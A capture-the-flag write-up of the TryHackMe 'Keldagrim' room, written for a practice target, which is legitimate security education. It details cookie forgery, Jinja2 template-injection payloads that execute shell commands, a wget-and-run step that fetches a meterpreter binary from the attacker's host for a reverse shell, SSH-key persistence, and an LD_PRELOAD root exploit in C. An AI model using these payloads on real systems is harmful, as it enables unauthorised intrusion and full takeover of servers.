TryHackMe: Keldagrim The dwarves are hiding their gold! Created by optional

TryHackMe Room Icon

Enumeration

You know the drill, add the box to our /etc/hosts then run trusty ol' rustscan against it.

╰─⠠⠵ rustscan -a forge --ulimit 10000 -- -sC -sV -A -oA forge   
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.36.223:22
Open 10.10.36.223:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-31 13:05 GMT

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d8:23:24:3c:6e:3f:5b:b0:ec:42:e4:ce:71:2f:1e:52 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ElGI0HLd8mhCV1HC0Mdnml4FZPMr17SrcABm6GMKV0g5e4wQNtSPAvXhGj696aoKgVX1jDbe4DzDGr3jDkLjXegnpqQyVQnSYV7Cz9pON4b9cplT/OPK/7cd96E7tKFsZ3F+eOM51Vm6KeYUbZG0DnHZIB7kmPAH+ongqQmpG8Of/wXNgR4ONc6dD/lTYWCgWeCEYT0ERlErkqM05mO9DwV+7Lr+AZhAZ8afx+NSpV17gBZzjmqT4my3zMAf3Ne0VY/exvb807YKiHmPPaieE8KxjfRjcsHGsMuYesDm3m0cUvGSdp2xfu8J5dOSNJc5cVse6RBTPmPu4giRtm+v
|   256 c6:75:e5:10:b4:0a:51:83:3e:55:b4:f6:03:b5:0b:7a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBETP4uMiwXXjEW/UWp1IE/XvhxASBN753PiuZmLz6QiSZE3y5sIHpMtXA3Sss4bZh4DR3hoP3OhXgJmjCJaSS4=
|   256 4c:51:80:db:31:4c:6a:be:bf:9b:48:b5:d4:d6:ff:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJVgfo2NhVXDfelQtZw0p6JWJLPk2/1NF3KRImlYIIul
80/tcp open  http    syn-ack Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-cookie-flags: 
|   /: 
|     session: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title:  Home page 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds

Open Ports

22/ssh

As we do not have a username/password we will skip this for now

80/http

Welcome to Keldagrim Forge! The number one gold selling website!

From the above http-server-header: Werkzeug/1.0.1 Python/3.6.9 we can see that this is Python Application Server. Looking around there is not that much I can spot from first glance apart form a disabled /admin link.

Admin Menu Disabled

User.txt

Ok, so first thing I am going to target is the /admin from above. Hitting the /admin endpoint does not seem to do much... Hmm let's take a look at our cookies....

Cookie - session:"Z3Vlc3Q="

Hmm.... that looks like base64

╰─⠠⠵ echo "Z3Vlc3Q=" | base64 -d
guest%       

Ok, lets encode admin and overwrite our cookie

╰─⠠⠵ echo -n admin | base64 
YWRtaW4=

We now have a sales cookie which is again base64 encoded.

╰─⠠⠵ echo -n JDIsMTY1 | base64 -d
$2,165%  

Cookie - sales:"JDIsMTY1"

Now if we look at /admin we have Current user - $2,165

Sales

If we change the value to another base64 string we can see that on refresh the page displays what we put... this could be our way in!

Sales

Trying a few things it appears to only decode and print the input..... Ok when I do some research on that lets kick off gobuster

╰─⠠⠵ gobuster dir -u http://forge/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,py,sql,db,sqlite,dblite,tar.tar.gz,tgz,gz,txt,bak,zip,html,csv,xls,xlsx
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://forge/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     tgz,bak,xls,gz,zip,xlsx,db,sqlite,tar.tar.gz,csv,php,dblite,txt,py,sql,html
[+] Timeout:        10s
===============================================================
2021/01/31 13:52:21 Starting gobuster
===============================================================

gobuster didn't come back with anything interesting but after googling around I ended up at https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee ... Using CyberChef I URL Encoded and Base64 Encode the payload {{ config.items() }} and placed it in the sales cookie.

JTdCJTdCJTIwY29uZmlnJTJFaXRlbXMlMjglMjklMjAlN0QlN0QlMjc=

config_items.png

Ok, we have gotten further but now need to get RCE from this. Now we inject {{ config.from_object('os') }} followed by the above {{ config_items() }} again.

JTdCJTdCJTIwY29uZmlnJTJFZnJvbSU1Rm9iamVjdCUyOCUyN29zJTI3JTI5JTIwJTdEJTdE

Current user - None

JTdCJTdCJTIwY29uZmlnJTJFaXRlbXMlMjglMjklMjAlN0QlN0QlMjc=

Now we have more output... Next we inject {{ ''.__class__.__mro__[1].__subclasses__() }}

JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU3RCU3RA==

Now inject {{''.__class__.__mro__[1].__subclasses__()[284:]}}

JTdCJTdCJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSU1QjI4NCUzQSU1RCU3RCU3RA==

ANd search for subproccess.Popen adjust 284 above until you find the index of of subproccess.Poen ( in my case 401 ) we can then use the below to execute our commands

{{ ‘’.__class__.__mro__[1].__subclasses__() [401](‘ls’,shell=True,stdout=-1).communicate()}}

JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU1QjQwMSU1RCUyOCUyN2xzJTI3JTJDc2hlbGwlM0RUcnVlJTJDc3Rkb3V0JTNEJTJEMSUyOSUyRWNvbW11bmljYXRlJTI4JTI5JTdEJTdEJTBB

RCE

We can then use the above to cat our user.txt

{{ ''.__class__.__mro__[1].__subclasses__() [401]('cat user.txt',shell=True,stdout=-1).communicate()}}

{{ ''.__class__.__mro__[1].__subclasses__() [401]('cat user.txt',shell=True,stdout=-1).communicate()}}

User Flag

Root.txt

Now we have the user.txt and RCE let's see if we get a shell to call back to us. I tried my usual bash rshell but didn't appear to work so I created a msfvenom reverse meterpreter binary and used wget to download it.

{{ ''.__class__.__mro__[1].__subclasses__() [401]('wget http://10.9.5.198:8080/shell444; chmod +x shell444; ./shell444',shell=True,stdout=-1).communicate()}}

JTdCJTdCJTIwJTI3JTI3JTJFJTVGJTVGY2xhc3MlNUYlNUYlMkUlNUYlNUZtcm8lNUYlNUYlNUIxJTVEJTJFJTVGJTVGc3ViY2xhc3NlcyU1RiU1RiUyOCUyOSUyMCU1QjQwMSU1RCUyOCUyN3dnZXQlMjBodHRwJTNBJTJGJTJGMTAlMkU5JTJFNSUyRTE5OCUzQTgwODAlMkZzaGVsbDQ0NCUzQiUyMGNobW9kJTIwJTJCeCUyMHNoZWxsNDQ0JTNCJTIwJTJFJTJGc2hlbGw0NDQlMjclMkNzaGVsbCUzRFRydWUlMkNzdGRvdXQlM0QlMkQxJTI5JTJFY29tbXVuaWNhdGUlMjglMjklN0QlN0QlMEE=

This then called back to metasploit and I had a shell as jed.

[*] Meterpreter session 1 opened (10.9.5.198:4444 -> 10.10.89.31:56912) at 2021-01-31 15:59:45 +0000

meterpreter > shell
Process 1682 created.
Channel 1 created.

ls
app
shell444
user.txt
python3 -c 'import pty;pty.spawn("/bin/bash")'
jed@keldagrim:~$ 

jed@keldagrim:~$ 

I then setup persistence by adding my ssh key to /home/jed/.ssh/authorized_keys. I then used ssh to connect as jed to get a decent shell. Once logged in I run the usual sudo -l to check what we can do.

Matching Defaults entries for jed on keldagrim:                                                                              
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,       
    env_keep+=LD_PRELOAD                                                                                                     
                                                                                                                             
User jed may run the following commands on keldagrim:                                                                        
    (ALL : ALL) NOPASSWD: /bin/ps          

Checking GTFOBins it does not look like ps has any exploits. So let's grab and run linpeas.sh to see what we can find...

Looking through the output I realized I should have looked closer at the sudo -l output.

Linpease

Doing some research on this it looks like we can inject our own libraries. Using the guide here I changed into /tmp and created a new file with the following contents

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

I then used the gcc installed to build the library file

jed@keldagrim:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles

shell.c: In function ‘_init’:
shell.c:6:1: warning: implicit declaration of function ‘setgid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
 setgid(0);
 ^~~~~~
 setenv
shell.c:7:1: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
 setuid(0);
 ^~~~~~
 setenv

Once built we can execute sudo using LD_PRELOAD to get a root shell.

jed@keldagrim:/tmp$ sudo LD_PRELOAD=/tmp/shell.so ps
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
thm{[REDACTED]}
# 

Boom!!!

Another box done, thanks to @optionalctf for putting the room together, it was frustrating but enjoyable and learned some stuff about SSTI :) .

Also thank you to @kimschulz for confirming I was going the right track.